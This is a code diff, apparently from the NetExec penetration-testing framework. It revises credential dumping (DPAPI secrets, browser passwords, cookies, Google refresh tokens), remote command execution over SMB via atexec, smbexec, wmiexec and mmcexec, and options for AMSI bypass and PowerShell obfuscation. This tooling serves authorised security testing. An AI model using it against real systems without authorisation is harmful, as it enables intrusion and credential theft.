self.db.add_dpapi_secrets(
|
||||
target.address,
|
||||
credential.browser.upper(),
|
||||
credential.winuser,
|
||||
credential.username,
|
||||
credential.password,
|
||||
credential.url,
|
||||
)
|
||||
if isinstance(credential, LoginData):
|
||||
cred_url = credential.url + " -" if credential.url != "" else "-"
|
||||
self.logger.highlight(f"[{credential.winuser}][{credential.browser.upper()}] {cred_url} {credential.username}:{credential.password}")
|
||||
self.db.add_dpapi_secrets(
|
||||
target.address,
|
||||
credential.browser.upper(),
|
||||
credential.winuser,
|
||||
credential.username,
|
||||
credential.password,
|
||||
credential.url,
|
||||
)
|
||||
elif isinstance(credential, GoogleRefreshToken):
|
||||
self.logger.highlight(f"[{credential.winuser}][{credential.browser.upper()}] Google Refresh Token: {credential.service}:{credential.token}")
|
||||
self.db.add_dpapi_secrets(
|
||||
target.address,
|
||||
credential.browser.upper(),
|
||||
credential.winuser,
|
||||
credential.service,
|
||||
credential.token,
|
||||
"Google Refresh Token",
|
||||
)
|
||||
|
||||
|
||||
if dump_cookies and cookies:
|
||||
self.logger.display("Start Dumping Cookies")
|
||||
for cookie in cookies:
|
||||
if cookie.cookie_value != "":
|
||||
self.logger.highlight(f"[{credential.winuser}][{cookie.browser.upper()}] {cookie.host}{cookie.path} - {cookie.cookie_name}:{cookie.cookie_value}")
|
||||
self.logger.highlight(f"[{cookie.winuser}][{cookie.browser.upper()}] {cookie.host}{cookie.path} - {cookie.cookie_name}:{cookie.cookie_value}")
|
||||
self.logger.display("End Dumping Cookies")
|
||||
elif dump_cookies:
|
||||
self.logger.fail("No cookies found")
|
||||
@@ -1555,7 +1637,7 @@ class smb(connection):
|
||||
credential.url,
|
||||
)
|
||||
|
||||
if not (credentials and system_credentials and browser_credentials and cookies and vaults and firefox_credentials):
|
||||
if not (credentials or system_credentials or browser_credentials or cookies or vaults or firefox_credentials):
|
||||
self.logger.fail("No secrets found")
|
||||
|
||||
@requires_admin
|
||||
|
||||
@@ -133,7 +133,7 @@ class TSCH_EXEC:
|
||||
|
||||
xml = self.gen_xml(command, fileless)
|
||||
|
||||
self.logger.info(f"Task XML: {xml}")
|
||||
self.logger.debug(f"Task XML: {xml}")
|
||||
taskCreated = False
|
||||
self.logger.info(f"Creating task \\{tmpName}")
|
||||
try:
|
||||
@@ -181,22 +181,35 @@ class TSCH_EXEC:
|
||||
else:
|
||||
":".join(map(str, self.__rpctransport.get_socket().getpeername()))
|
||||
smbConnection = self.__rpctransport.get_smb_connection()
|
||||
tries = 1
|
||||
|
||||
tries = 0
|
||||
# Give the command a bit of time to execute before we try to read the output, 0.4 seconds was good in testing
|
||||
sleep(0.4)
|
||||
while True:
|
||||
try:
|
||||
self.logger.info(f"Attempting to read {self.__share}\\{self.__output_filename}")
|
||||
smbConnection.getFile(self.__share, self.__output_filename, self.output_callback)
|
||||
break
|
||||
except Exception as e:
|
||||
if tries >= self.__tries:
|
||||
if tries > self.__tries:
|
||||
self.logger.fail("ATEXEC: Could not retrieve output file, it may have been detected by AV. Please increase the number of tries with the option '--get-output-tries'. If it is still failing, try the 'wmi' protocol or another exec method")
|
||||
break
|
||||
if str(e).find("STATUS_BAD_NETWORK_NAME") > 0:
|
||||
if "STATUS_BAD_NETWORK_NAME" in str(e):
|
||||
self.logger.fail(f"ATEXEC: Getting the output file failed - target has blocked access to the share: {self.__share} (but the command may have executed!)")
|
||||
break
|
||||
if str(e).find("SHARING") > 0 or str(e).find("STATUS_OBJECT_NAME_NOT_FOUND") >= 0:
|
||||
sleep(3)
|
||||
elif "STATUS_VIRUS_INFECTED" in str(e):
|
||||
self.logger.fail("Command did not run because a virus was detected")
|
||||
break
|
||||
# When executing powershell and the command is still running, we get a sharing violation
|
||||
# We can use that information to wait longer than if the file is not found (probably av or something)
|
||||
if "STATUS_SHARING_VIOLATION" in str(e):
|
||||
self.logger.info(f"File {self.__share}\\{self.__output_filename} is still in use with {self.__tries - tries} left, retrying...")
|
||||
tries += 1
|
||||
sleep(1)
|
||||
elif "STATUS_OBJECT_NAME_NOT_FOUND" in str(e):
|
||||
self.logger.info(f"File {self.__share}\\{self.__output_filename} not found with {self.__tries - tries} left, deducting 10 tries and retrying...")
|
||||
tries += 10
|
||||
sleep(1)
|
||||
else:
|
||||
self.logger.debug(str(e))
|
||||
|
||||
|
||||
@@ -6,7 +6,7 @@ from pathlib import Path
|
||||
from sqlalchemy import MetaData, func, Table, select, delete
|
||||
from sqlalchemy.dialects.sqlite import Insert # used for upsert
|
||||
from sqlalchemy.exc import (
|
||||
IllegalStateChangeError,
|
||||
# IllegalStateChangeError,
|
||||
NoInspectionAvailable,
|
||||
NoSuchTableError,
|
||||
)
|
||||
@@ -205,7 +205,7 @@ class database:
|
||||
# due to the async nature of nxc, sometimes session state is a bit messy and this will throw:
|
||||
# Method 'close()' can't be called here; method '_connection_for_bind()' is already in progress and
|
||||
# this would cause an unexpected state change to <SessionTransactionState.CLOSED: 5>
|
||||
except IllegalStateChangeError as e:
|
||||
except Exception as e:
|
||||
nxc_logger.debug(f"Error while closing session db object: {e}")
|
||||
|
||||
def clear_database(self):
|
||||
|
||||
@@ -247,23 +247,35 @@ class MMCEXEC:
|
||||
if self.__retOutput is False:
|
||||
self.__outputBuffer = ""
|
||||
return
|
||||
tries = 1
|
||||
|
||||
tries = 0
|
||||
# Give the command a bit of time to execute before we try to read the output, 0.4 seconds was good in testing
|
||||
sleep(0.4)
|
||||
while True:
|
||||
try:
|
||||
self.logger.info(f"Attempting to read {self.__share}\\{self.__output}")
|
||||
self.__smbconnection.getFile(self.__share, self.__output, self.output_callback)
|
||||
break
|
||||
except Exception as e:
|
||||
if tries >= self.__tries:
|
||||
if tries > self.__tries:
|
||||
self.logger.fail("MMCEXEC: Could not retrieve output file, it may have been detected by AV. Please increase the number of tries with the option '--get-output-tries'. If it is still failing, try the 'wmi' protocol or another exec method")
|
||||
break
|
||||
if str(e).find("STATUS_BAD_NETWORK_NAME") > 0:
|
||||
if "STATUS_BAD_NETWORK_NAME" in str(e):
|
||||
self.logger.fail(f"MMCEXEC: Getting the output file failed - target has blocked access to the share: {self.__share} (but the command may have executed!)")
|
||||
break
|
||||
if str(e).find("STATUS_SHARING_VIOLATION") >= 0 or str(e).find("STATUS_OBJECT_NAME_NOT_FOUND") >= 0:
|
||||
# Output not finished, let's wait
|
||||
sleep(2)
|
||||
elif "STATUS_VIRUS_INFECTED" in str(e):
|
||||
self.logger.fail("Command did not run because a virus was detected")
|
||||
break
|
||||
# When executing powershell and the command is still running, we get a sharing violation
|
||||
# We can use that information to wait longer than if the file is not found (probably av or something)
|
||||
if "STATUS_SHARING_VIOLATION" in str(e):
|
||||
self.logger.info(f"File {self.__share}\\{self.__output} is still in use with {self.__tries - tries} left, retrying...")
|
||||
tries += 1
|
||||
sleep(1)
|
||||
elif "STATUS_OBJECT_NAME_NOT_FOUND" in str(e):
|
||||
self.logger.info(f"File {self.__share}\\{self.__output} not found with {self.__tries - tries} left, deducting 10 tries and retrying...")
|
||||
tries += 10
|
||||
sleep(1)
|
||||
else:
|
||||
self.logger.debug(str(e))
|
||||
|
||||
|
||||
@@ -1,82 +1,90 @@
|
||||
from argparse import _StoreTrueAction
|
||||
from nxc.helpers.args import DisplayDefaultsNotNone
|
||||
|
||||
|
||||
def proto_args(parser, std_parser, module_parser):
|
||||
smb_parser = parser.add_parser("smb", help="own stuff using SMB", parents=[std_parser, module_parser])
|
||||
def proto_args(parser, parents):
|
||||
smb_parser = parser.add_parser("smb", help="own stuff using SMB", parents=parents, formatter_class=DisplayDefaultsNotNone)
|
||||
smb_parser.add_argument("-H", "--hash", metavar="HASH", dest="hash", nargs="+", default=[], help="NTLM hash(es) or file(s) containing NTLM hashes")
|
||||
|
||||
delegate_arg = smb_parser.add_argument("--delegate", action="store", help="Impersonate user with S4U2Self + S4U2Proxy")
|
||||
self_delegate_arg = smb_parser.add_argument("--self", dest="no_s4u2proxy", action=get_conditional_action(_StoreTrueAction), make_required=[], help="Only do S4U2Self, no S4U2Proxy (use with delegate)")
|
||||
|
||||
dgroup = smb_parser.add_mutually_exclusive_group()
|
||||
dgroup.add_argument("-d", metavar="DOMAIN", dest="domain", type=str, help="domain to authenticate to")
|
||||
dgroup.add_argument("-d", "--domain", metavar="DOMAIN", dest="domain", type=str, help="domain to authenticate to")
|
||||
dgroup.add_argument("--local-auth", action="store_true", help="authenticate locally to each target")
|
||||
smb_parser.add_argument("--port", type=int, choices={445, 139}, default=445, help="SMB port (default: 445)")
|
||||
smb_parser.add_argument("--share", metavar="SHARE", default="C$", help="specify a share (default: C$)")
|
||||
|
||||
smb_parser.add_argument("--port", type=int, default=445, help="SMB port")
|
||||
smb_parser.add_argument("--share", metavar="SHARE", default="C$", help="specify a share")
|
||||
smb_parser.add_argument("--smb-server-port", default="445", help="specify a server port for SMB", type=int)
|
||||
smb_parser.add_argument("--gen-relay-list", metavar="OUTPUT_FILE", help="outputs all hosts that don't require SMB signing to the specified file")
|
||||
smb_parser.add_argument("--smb-timeout", help="SMB connection timeout, default 2 secondes", type=int, default=2)
|
||||
smb_parser.add_argument("--smb-timeout", help="SMB connection timeout", type=int, default=2)
|
||||
smb_parser.add_argument("--laps", dest="laps", metavar="LAPS", type=str, help="LAPS authentification", nargs="?", const="administrator")
|
||||
self_delegate_arg.make_required = [delegate_arg]
|
||||
|
||||
cgroup = smb_parser.add_argument_group("Credential Gathering", "Options for gathering credentials")
|
||||
cgroup.add_argument("--sam", action="store_true", help="dump SAM hashes from target systems")
|
||||
cgroup.add_argument("--lsa", action="store_true", help="dump LSA secrets from target systems")
|
||||
cgroup.add_argument("--ntds", choices={"vss", "drsuapi"}, nargs="?", const="drsuapi", help="dump the NTDS.dit from target DCs using the specifed method\n(default: drsuapi)")
|
||||
cgroup.add_argument("--dpapi", choices={"cookies", "nosystem"}, nargs="*", help='dump DPAPI secrets from target systems, can dump cookies if you add "cookies", will not dump SYSTEM dpapi if you add nosystem\n')
|
||||
cred_gathering_group = smb_parser.add_argument_group("Credential Gathering", "Options for gathering credentials")
|
||||
cred_gathering_group.add_argument("--sam", action="store_true", help="dump SAM hashes from target systems")
|
||||
cred_gathering_group.add_argument("--lsa", action="store_true", help="dump LSA secrets from target systems")
|
||||
cred_gathering_group.add_argument("--ntds", choices={"vss", "drsuapi"}, nargs="?", const="drsuapi", help="dump the NTDS.dit from target DCs using the specifed method")
|
||||
cred_gathering_group.add_argument("--dpapi", choices={"cookies", "nosystem"}, nargs="*", help="dump DPAPI secrets from target systems, can dump cookies if you add 'cookies', will not dump SYSTEM dpapi if you add nosystem")
|
||||
cred_gathering_group.add_argument("--sccm", choices={"wmi", "disk"}, nargs="?", const="disk", help="dump SCCM secrets from target systems")
|
||||
cred_gathering_group.add_argument("--mkfile", action="store", help="DPAPI option. File with masterkeys in form of {GUID}:SHA1")
|
||||
cred_gathering_group.add_argument("--pvk", action="store", help="DPAPI option. File with domain backupkey")
|
||||
cred_gathering_group.add_argument("--enabled", action="store_true", help="Only dump enabled targets from DC")
|
||||
cred_gathering_group.add_argument("--user", dest="userntds", type=str, help="Dump selected user from DC")
|
||||
|
||||
ngroup = smb_parser.add_argument_group("Credential Gathering", "Options for gathering credentials")
|
||||
ngroup.add_argument("--mkfile", action="store", help="DPAPI option. File with masterkeys in form of {GUID}:SHA1")
|
||||
ngroup.add_argument("--pvk", action="store", help="DPAPI option. File with domain backupkey")
|
||||
ngroup.add_argument("--enabled", action="store_true", help="Only dump enabled targets from DC")
|
||||
ngroup.add_argument("--user", dest="userntds", type=str, help="Dump selected user from DC")
|
||||
mapping_enum_group = smb_parser.add_argument_group("Mapping/Enumeration", "Options for Mapping/Enumerating")
|
||||
mapping_enum_group.add_argument("--shares", action="store_true", help="enumerate shares and access")
|
||||
mapping_enum_group.add_argument("--no-write-check", action="store_true", help="Skip write check on shares (avoid leaving traces when missing delete permissions)")
|
||||
mapping_enum_group.add_argument("--filter-shares", nargs="+", help="Filter share by access, option 'read' 'write' or 'read,write'")
|
||||
mapping_enum_group.add_argument("--sessions", action="store_true", help="enumerate active sessions")
|
||||
mapping_enum_group.add_argument("--disks", action="store_true", help="enumerate disks")
|
||||
mapping_enum_group.add_argument("--loggedon-users-filter", action="store", help="only search for specific user, works with regex")
|
||||
mapping_enum_group.add_argument("--loggedon-users", action="store_true", help="enumerate logged on users")
|
||||
mapping_enum_group.add_argument("--users", nargs="*", metavar="USER", help="enumerate domain users, if a user is specified than only its information is queried.")
|
||||
mapping_enum_group.add_argument("--groups", nargs="?", const="", metavar="GROUP", help="enumerate domain groups, if a group is specified than its members are enumerated")
|
||||
mapping_enum_group.add_argument("--computers", nargs="?", const="", metavar="COMPUTER", help="enumerate computer users")
|
||||
mapping_enum_group.add_argument("--local-groups", nargs="?", const="", metavar="GROUP", help="enumerate local groups, if a group is specified then its members are enumerated")
|
||||
mapping_enum_group.add_argument("--pass-pol", action="store_true", help="dump password policy")
|
||||
mapping_enum_group.add_argument("--rid-brute", nargs="?", type=int, const=4000, metavar="MAX_RID", help="enumerate users by bruteforcing RIDs")
|
||||
|
||||
wmi_group = smb_parser.add_argument_group("WMI", "Options for WMI Queries")
|
||||
wmi_group.add_argument("--wmi", metavar="QUERY", type=str, help="issues the specified WMI query")
|
||||
wmi_group.add_argument("--wmi-namespace", metavar="NAMESPACE", default="root\\cimv2", help="WMI Namespace")
|
||||
|
||||
egroup = smb_parser.add_argument_group("Mapping/Enumeration", "Options for Mapping/Enumerating")
|
||||
egroup.add_argument("--shares", action="store_true", help="enumerate shares and access")
|
||||
egroup.add_argument("--no-write-check", action="store_true", help="Skip write check on shares (avoid leaving traces when missing delete permissions)")
|
||||
|
||||
egroup.add_argument("--filter-shares", nargs="+", help="Filter share by access, option 'read' 'write' or 'read,write'")
|
||||
egroup.add_argument("--sessions", action="store_true", help="enumerate active sessions")
|
||||
egroup.add_argument("--disks", action="store_true", help="enumerate disks")
|
||||
egroup.add_argument("--loggedon-users-filter", action="store", help="only search for specific user, works with regex")
|
||||
egroup.add_argument("--loggedon-users", action="store_true", help="enumerate logged on users")
|
||||
egroup.add_argument("--users", nargs="*", metavar="USER", help="enumerate domain users, if a user is specified than only its information is queried.")
|
||||
egroup.add_argument("--groups", nargs="?", const="", metavar="GROUP", help="enumerate domain groups, if a group is specified than its members are enumerated")
|
||||
egroup.add_argument("--computers", nargs="?", const="", metavar="COMPUTER", help="enumerate computer users")
|
||||
egroup.add_argument("--local-groups", nargs="?", const="", metavar="GROUP", help="enumerate local groups, if a group is specified then its members are enumerated")
|
||||
egroup.add_argument("--pass-pol", action="store_true", help="dump password policy")
|
||||
egroup.add_argument("--rid-brute", nargs="?", type=int, const=4000, metavar="MAX_RID", help="enumerate users by bruteforcing RID's (default: 4000)")
|
||||
egroup.add_argument("--wmi", metavar="QUERY", type=str, help="issues the specified WMI query")
|
||||
egroup.add_argument("--wmi-namespace", metavar="NAMESPACE", default="root\\cimv2", help="WMI Namespace (default: root\\cimv2)")
|
||||
|
||||
sgroup = smb_parser.add_argument_group("Spidering", "Options for spidering shares")
|
||||
sgroup.add_argument("--spider", metavar="SHARE", type=str, help="share to spider")
|
||||
sgroup.add_argument("--spider-folder", metavar="FOLDER", default=".", type=str, help="folder to spider (default: root share directory)")
|
||||
sgroup.add_argument("--content", action="store_true", help="enable file content searching")
|
||||
sgroup.add_argument("--exclude-dirs", type=str, metavar="DIR_LIST", default="", help="directories to exclude from spidering")
|
||||
segroup = sgroup.add_mutually_exclusive_group()
|
||||
spidering_group = smb_parser.add_argument_group("Spidering", "Options for spidering shares")
|
||||
spidering_group.add_argument("--spider", metavar="SHARE", type=str, help="share to spider")
|
||||
spidering_group.add_argument("--spider-folder", metavar="FOLDER", default=".", type=str, help="folder to spider")
|
||||
spidering_group.add_argument("--content", action="store_true", help="enable file content searching")
|
||||
spidering_group.add_argument("--exclude-dirs", type=str, metavar="DIR_LIST", default="", help="directories to exclude from spidering")
|
||||
spidering_group.add_argument("--depth", type=int, help="max spider recursion depth")
|
||||
spidering_group.add_argument("--only-files", action="store_true", help="only spider files")
|
||||
segroup = spidering_group.add_mutually_exclusive_group()
|
||||
segroup.add_argument("--pattern", nargs="+", help="pattern(s) to search for in folders, filenames and file content")
|
||||
segroup.add_argument("--regex", nargs="+", help="regex(s) to search for in folders, filenames and file content")
|
||||
sgroup.add_argument("--depth", type=int, default=None, help="max spider recursion depth (default: infinity & beyond)")
|
||||
sgroup.add_argument("--only-files", action="store_true", help="only spider files")
|
||||
|
||||
tgroup = smb_parser.add_argument_group("Files", "Options for put and get remote files")
|
||||
tgroup.add_argument("--put-file", action="append", nargs=2, metavar="FILE", help="Put a local file into remote target, ex: whoami.txt \\\\Windows\\\\Temp\\\\whoami.txt")
|
||||
tgroup.add_argument("--get-file", action="append", nargs=2, metavar="FILE", help="Get a remote file, ex: \\\\Windows\\\\Temp\\\\whoami.txt whoami.txt")
|
||||
tgroup.add_argument("--append-host", action="store_true", help="append the host to the get-file filename")
|
||||
files_group = smb_parser.add_argument_group("Files", "Options for remote file interaction")
|
||||
files_group.add_argument("--put-file", action="append", nargs=2, metavar="FILE", help="Put a local file into remote target, ex: whoami.txt \\\\Windows\\\\Temp\\\\whoami.txt")
|
||||
files_group.add_argument("--get-file", action="append", nargs=2, metavar="FILE", help="Get a remote file, ex: \\\\Windows\\\\Temp\\\\whoami.txt whoami.txt")
|
||||
files_group.add_argument("--append-host", action="store_true", help="append the host to the get-file filename")
|
||||
|
||||
cmd_exec_group = smb_parser.add_argument_group("Command Execution", "Options for executing commands")
|
||||
cmd_exec_group.add_argument("--exec-method", choices={"wmiexec", "mmcexec", "smbexec", "atexec"}, default="wmiexec", help="method to execute the command. Ignored if in MSSQL mode")
|
||||
cmd_exec_group.add_argument("--dcom-timeout", help="DCOM connection timeout", type=int, default=5)
|
||||
cmd_exec_group.add_argument("--get-output-tries", help="Number of times atexec/smbexec/mmcexec tries to get results", type=int, default=10)
|
||||
cmd_exec_group.add_argument("--codec", default="utf-8", help="Set encoding used (codec) from the target's output. If errors are detected, run chcp.com at the target & map the result with https://docs.python.org/3/library/codecs.html#standard-encodings and then execute again with --codec and the corresponding codec")
|
||||
cmd_exec_group.add_argument("--no-output", action="store_true", help="do not retrieve command output")
|
||||
|
||||
cmd_exec_method_group = cmd_exec_group.add_mutually_exclusive_group()
|
||||
cmd_exec_method_group.add_argument("-x", metavar="COMMAND", dest="execute", help="execute the specified CMD command")
|
||||
cmd_exec_method_group.add_argument("-X", metavar="PS_COMMAND", dest="ps_execute", help="execute the specified PowerShell command")
|
||||
|
||||
posh_group = smb_parser.add_argument_group("Powershell Obfuscation", "Options for PowerShell script obfuscation")
|
||||
posh_group.add_argument("--obfs", action="store_true", help="Obfuscate PowerShell scripts")
|
||||
posh_group.add_argument("--amsi-bypass", nargs=1, metavar="FILE", help="File with a custom AMSI bypass")
|
||||
posh_group.add_argument("--clear-obfscripts", action="store_true", help="Clear all cached obfuscated PowerShell scripts")
|
||||
posh_group.add_argument("--force-ps32", action="store_true", help="force PowerShell commands to run in a 32-bit process (may not apply to modules)")
|
||||
posh_group.add_argument("--no-encode", action="store_true", default=False, help="Do not encode the PowerShell command ran on target")
|
||||
|
||||
cgroup = smb_parser.add_argument_group("Command Execution", "Options for executing commands")
|
||||
cgroup.add_argument("--exec-method", choices={"wmiexec", "mmcexec", "smbexec", "atexec"}, default=None, help="method to execute the command. Ignored if in MSSQL mode (default: wmiexec)")
|
||||
cgroup.add_argument("--dcom-timeout", help="DCOM connection timeout, default is 5 secondes", type=int, default=5)
|
||||
cgroup.add_argument("--get-output-tries", help="Number of times atexec/smbexec/mmcexec tries to get results, default is 5", type=int, default=5)
|
||||
cgroup.add_argument("--codec", default="utf-8", help="Set encoding used (codec) from the target's output (default: utf-8). If errors are detected, run chcp.com at the target & map the result with https://docs.python.org/3/library/codecs.html#standard-encodings and then execute again with --codec and the corresponding codec")
|
||||
cgroup.add_argument("--force-ps32", action="store_true", help="force the PowerShell command to run in a 32-bit process")
|
||||
cgroup.add_argument("--no-output", action="store_true", help="do not retrieve command output")
|
||||
cegroup = cgroup.add_mutually_exclusive_group()
|
||||
cegroup.add_argument("-x", metavar="COMMAND", dest="execute", help="execute the specified CMD command")
|
||||
cegroup.add_argument("-X", metavar="PS_COMMAND", dest="ps_execute", help="execute the specified PowerShell command")
|
||||
psgroup = smb_parser.add_argument_group("Powershell Obfuscation", "Options for PowerShell script obfuscation")
|
||||
psgroup.add_argument("--obfs", action="store_true", help="Obfuscate PowerShell scripts")
|
||||
psgroup.add_argument("--amsi-bypass", nargs=1, metavar="FILE", help="File with a custom AMSI bypass")
|
||||
psgroup.add_argument("--clear-obfscripts", action="store_true", help="Clear all cached obfuscated PowerShell scripts")
|
||||
|
||||
return parser
|
||||
|
||||
|
||||
@@ -3,6 +3,7 @@ from os.path import join as path_join
|
||||
from time import sleep
|
||||
from impacket.dcerpc.v5 import transport, scmr
|
||||
from nxc.helpers.misc import gen_random_string
|
||||
from nxc.paths import TMP_PATH
|
||||
from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_GSS_NEGOTIATE
|
||||
|
||||
|
||||
@@ -95,13 +96,11 @@ class SMBEXEC:
|
||||
|
||||
command = self.__shell + "echo " + data + f" ^> \\\\%COMPUTERNAME%\\{self.__share}\\{self.__output} 2^>^&1 > %TEMP%\\{self.__batchFile} & %COMSPEC% /Q /c %TEMP%\\{self.__batchFile} & %COMSPEC% /Q /c del %TEMP%\\{self.__batchFile}" if self.__retOutput else self.__shell + data
|
||||
|
||||
with open(path_join("/tmp", "nxc_hosted", self.__batchFile), "w") as batch_file:
|
||||
with open(path_join(TMP_PATH, self.__batchFile), "w") as batch_file:
|
||||
batch_file.write(command)
|
||||
|
||||
self.logger.debug("Hosting batch file with command: " + command)
|
||||
|
||||
self.logger.debug("Command to execute: " + command)
|
||||
|
||||
self.logger.debug(f"Remote service {self.__serviceName} created.")
|
||||
|
||||
try:
|
||||
@@ -138,23 +137,35 @@ class SMBEXEC:
|
||||
if self.__retOutput is False:
|
||||
self.__outputBuffer = ""
|
||||
return
|
||||
tries = 1
|
||||
|
||||
# TODO: It looks like the service is hanging anyway until the command is finished, so all this timeout logic is likely not needed
|
||||
# Still adding this for now to keep the structure similar until we can confirm the above
|
||||
tries = 0
|
||||
while True:
|
||||
try:
|
||||
self.logger.info(f"Attempting to read {self.__share}\\{self.__output}")
|
||||
self.__smbconnection.getFile(self.__share, self.__output, self.output_callback)
|
||||
break
|
||||
except Exception as e:
|
||||
if tries >= self.__tries:
|
||||
if tries > self.__tries:
|
||||
self.logger.fail("SMBEXEC: Could not retrieve output file, it may have been detected by AV. Please increase the number of tries with the option '--get-output-tries'. If it is still failing, try the 'wmi' protocol or another exec method")
|
||||
break
|
||||
if str(e).find("STATUS_BAD_NETWORK_NAME") > 0:
|
||||
if "STATUS_BAD_NETWORK_NAME" in str(e):
|
||||
self.logger.fail(f"SMBEXEC: Getting the output file failed - target has blocked access to the share: {self.__share} (but the command may have executed!)")
|
||||
break
|
||||
if str(e).find("STATUS_SHARING_VIOLATION") >= 0 or str(e).find("STATUS_OBJECT_NAME_NOT_FOUND") >= 0:
|
||||
# Output not finished, let's wait
|
||||
sleep(2)
|
||||
elif "STATUS_VIRUS_INFECTED" in str(e):
|
||||
self.logger.fail("Command did not run because a virus was detected")
|
||||
break
|
||||
# When executing powershell and the command is still running, we get a sharing violation
|
||||
# We can use that information to wait longer than if the file is not found (probably av or something)
|
||||
if "STATUS_SHARING_VIOLATION" in str(e):
|
||||
self.logger.info(f"File {self.__share}\\{self.__output} is still in use with {self.__tries - tries} left, retrying...")
|
||||
tries += 1
|
||||
sleep(1)
|
||||
elif "STATUS_OBJECT_NAME_NOT_FOUND" in str(e):
|
||||
self.logger.info(f"File {self.__share}\\{self.__output} not found with {self.__tries - tries} left, deducting 10 tries and retrying...")
|
||||
tries += 10
|
||||
sleep(1)
|
||||
else:
|
||||
self.logger.debug(str(e))
|
||||
|
||||
@@ -169,7 +180,7 @@ class SMBEXEC:
|
||||
|
||||
command = self.__shell + data + f" ^> \\\\{local_ip}\\{self.__share_name}\\{self.__output}" if self.__retOutput else self.__shell + data
|
||||
|
||||
with open(path_join("/tmp", "nxc_hosted", self.__batchFile), "w") as batch_file:
|
||||
with open(path_join(TMP_PATH, self.__batchFile), "w") as batch_file:
|
||||
batch_file.write(command)
|
||||
|
||||
self.logger.debug("Hosting batch file with command: " + command)
|
||||
@@ -204,7 +215,7 @@ class SMBEXEC:
|
||||
|
||||
while True:
|
||||
try:
|
||||
with open(path_join("/tmp", "nxc_hosted", self.__output), "rb") as output:
|
||||
with open(path_join(TMP_PATH, self.__output), "rb") as output:
|
||||
self.output_callback(output.read())
|
||||
break
|
||||
except OSError:
|
||||
|
||||
@@ -140,24 +140,36 @@ class WMIEXEC:
|
||||
self.__outputBuffer = ""
|
||||
return
|
||||
|
||||
tries = 1
|
||||
tries = 0
|
||||
# Give the command a bit of time to execute before we try to read the output, 0.4 seconds was good in testing
|
||||
sleep(0.4)
|
||||
while True:
|
||||
try:
|
||||
self.logger.info(f"Attempting to read {self.__share}\\{self.__output}")
|
||||
self.__smbconnection.getFile(self.__share, self.__output, self.output_callback)
|
||||
break
|
||||
except Exception as e:
|
||||
if tries >= self.__tries:
|
||||
self.logger.fail("WMIEXEC: Could not retrieve output file, it may have been detected by AV. If it is still failing, try the 'wmi' protocol or another exec method")
|
||||
if tries > self.__tries:
|
||||
self.logger.fail("wmiexec: Could not retrieve output file, it may have been detected by AV. If it is still failing, try the 'wmi' protocol or another exec method")
|
||||
break
|
||||
if str(e).find("STATUS_BAD_NETWORK_NAME") > 0:
|
||||
elif "STATUS_BAD_NETWORK_NAME" in str(e):
|
||||
self.logger.fail(f"SMB connection: target has blocked {self.__share} access (maybe command executed!)")
|
||||
break
|
||||
if str(e).find("STATUS_SHARING_VIOLATION") >= 0 or str(e).find("STATUS_OBJECT_NAME_NOT_FOUND") >= 0:
|
||||
sleep(2)
|
||||
elif "STATUS_VIRUS_INFECTED" in str(e):
|
||||
self.logger.fail("Command did not run because a virus was detected")
|
||||
break
|
||||
# When executing powershell and the command is still running, we get a sharing violation
|
||||
# We can use that information to wait longer than if the file is not found (probably av or something)
|
||||
elif "STATUS_SHARING_VIOLATION" in str(e):
|
||||
self.logger.info(f"File {self.__share}\\{self.__output} is still in use with {self.__tries - tries} left, retrying...")
|
||||
sleep(1)
|
||||
tries += 1
|
||||
elif "STATUS_OBJECT_NAME_NOT_FOUND" in str(e):
|
||||
self.logger.info(f"File {self.__share}\\{self.__output} not found with {self.__tries - tries} left, deducting 10 tries and retrying...")
|
||||
tries += 10
|
||||
sleep(1)
|
||||
else:
|
||||
self.logger.debug(str(e))
|
||||
self.logger.debug(f"Exception when trying to read output file: {e}")
|
||||
|
||||
if self.__outputBuffer:
|
||||
self.logger.debug(f"Deleting file {self.__share}\\{self.__output}")
|
||||
|
||||
@@ -195,8 +195,10 @@ class ssh(connection):
|
||||
username=username,
|
||||
passphrase=password if password != "" else None,
|
||||
key_filename=private_key if private_key else self.args.key_file,
|
||||
timeout=self.args.ssh_timeout,
|
||||
look_for_keys=False,
|
||||
allow_agent=False,
|
||||
banner_timeout=self.args.ssh_timeout,
|
||||
)
|
||||
|
||||
cred_id = self.db.add_credential(
|
||||
@@ -213,8 +215,10 @@ class ssh(connection):
|
||||
port=self.port,
|
||||
username=username,
|
||||
password=password,
|
||||
timeout=self.args.ssh_timeout,
|
||||
look_for_keys=False,
|
||||
allow_agent=False,
|
||||
banner_timeout=self.args.ssh_timeout,
|
||||
)
|
||||
cred_id = self.db.add_credential("plaintext", username, password)
|
||||
|
||||
@@ -226,6 +230,8 @@ class ssh(connection):
|
||||
except SSHException as e:
|
||||
if "Invalid key" in str(e):
|
||||
self.logger.fail(f"{username}:{process_secret(password)} Could not decrypt private key, error: {e}")
|
||||
if "Error reading SSH protocol banner" in str(e):
|
||||
self.logger.error(f"Internal Paramiko error for {username}:{process_secret(password)}, {e}")
|
||||
else:
|
||||
self.logger.exception(e)
|
||||
except Exception as e:
|
||||
|
||||
@@ -2,7 +2,7 @@ from sqlalchemy.dialects.sqlite import Insert
|
||||
from sqlalchemy.orm import sessionmaker, scoped_session
|
||||
from sqlalchemy import MetaData, Table, select, func, delete
|
||||
from sqlalchemy.exc import (
|
||||
IllegalStateChangeError,
|
||||
# IllegalStateChangeError,
|
||||
NoInspectionAvailable,
|
||||
NoSuchTableError,
|
||||
)
|
||||
@@ -111,7 +111,7 @@ class database:
|
||||
# due to the async nature of nxc, sometimes session state is a bit messy and this will throw:
|
||||
# Method 'close()' can't be called here; method '_connection_for_bind()' is already in progress and
|
||||
# this would cause an unexpected state change to <SessionTransactionState.CLOSED: 5>
|
||||
except IllegalStateChangeError as e:
|
||||
except Exception as e:
|
||||
nxc_logger.debug(f"Error while closing session db object: {e}")
|
||||
|
||||
def clear_database(self):
|
||||
|
||||
@@ -1,22 +1,19 @@
|
||||
from argparse import _StoreAction
|
||||
from nxc.helpers.args import DisplayDefaultsNotNone
|
||||
|
||||
def proto_args(parser, std_parser, module_parser):
|
||||
ssh_parser = parser.add_parser("ssh", help="own stuff using SSH", parents=[std_parser, module_parser])
|
||||
|
||||
def proto_args(parser, parents):
|
||||
ssh_parser = parser.add_parser("ssh", help="own stuff using SSH", parents=parents, formatter_class=DisplayDefaultsNotNone)
|
||||
ssh_parser.add_argument("--key-file", type=str, help="Authenticate using the specified private key. Treats the password parameter as the key's passphrase.")
|
||||
ssh_parser.add_argument("--port", type=int, default=22, help="SSH port (default: 22)")
|
||||
